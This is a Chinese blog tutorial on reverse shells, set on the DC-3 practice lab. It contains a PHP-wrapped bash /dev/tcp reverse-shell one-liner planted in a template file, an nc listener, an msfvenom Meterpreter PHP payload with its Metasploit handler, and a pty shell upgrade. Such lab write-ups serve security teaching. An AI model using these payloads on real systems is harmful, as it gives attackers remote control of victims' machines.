2022渗透测试-反弹shell的详细讲解

目录​​​​​​​

1.反弹shell简介

2.为什么要进行反弹shell

3.反弹shell的演示

1.bash反弹shell

 2.msf反弹shell

1.反弹shell简介

反弹shell是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

2.为什么要进行反弹shell

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2. 它的ip会动态改变,你不能持续控制。
3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹 shell。

3.反弹shell的演示

1.bash反弹shell

这里以dc-3靶场为例,具体的操作流程我在上一篇文章中发布过了,下面是链接。

2022春节一次完整的渗透测试-DC-3_保持微笑的博客-CSDN博客https://blog.csdn.net/qq_38612882/article/details/122797212我们在网站中到找了index.php文件,此时我们就可以通过反弹shell,使用nc监听反弹的端口。

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.120.129/1234 0>&1' ");?>

bash -i >& /dev/tcp/攻击端ip/4100 0>&1
bash -i表示启动一个交互式的shell;
>& 这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/攻击端ip/4100,也即发送到/dev/tcp/攻击端ip/4100远端;
0>&1 标准输入重定向到标准输出上;
简而言之,就是启动一个交互式shell,这个交互式shell的输入来自攻击端,输出也到攻击端。

本地监听1234端口

nc -lvvp  1234

然后登陆下面这个网址,也就是index.php所在的位置。

http://192.168.143.136/templates/beez3/index.php

此时,可以看到反弹shell成功。

 2.msf反弹shell

MSF制作PHP木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.120.129 LPORT=4444 

直接将内容粘贴至component.php

MSF建立会话 

#1.使用Handler模块
msf6 >use exploit/multi/handler
#2.设置payload
msf6> set payload php/meterpreter/reverse_tcp
#3.设置监听IP
msf6> set LHOST 192.168.120.129
#4.设置监听端口
msf6> set LPORT 4444
#开启监听
msf6> run

开启监听后,当我们访问http://dc-3/templates/beez3/component.php,即可得到会话

系统提权

此时进入shell,发现看不到命令提示,使用python进入伪终端。

python -c 'import pty;pty.spawn("/bin/bash")'

猜你喜欢

转载自blog.csdn.net/qq_38612882/article/details/122805793
今日推荐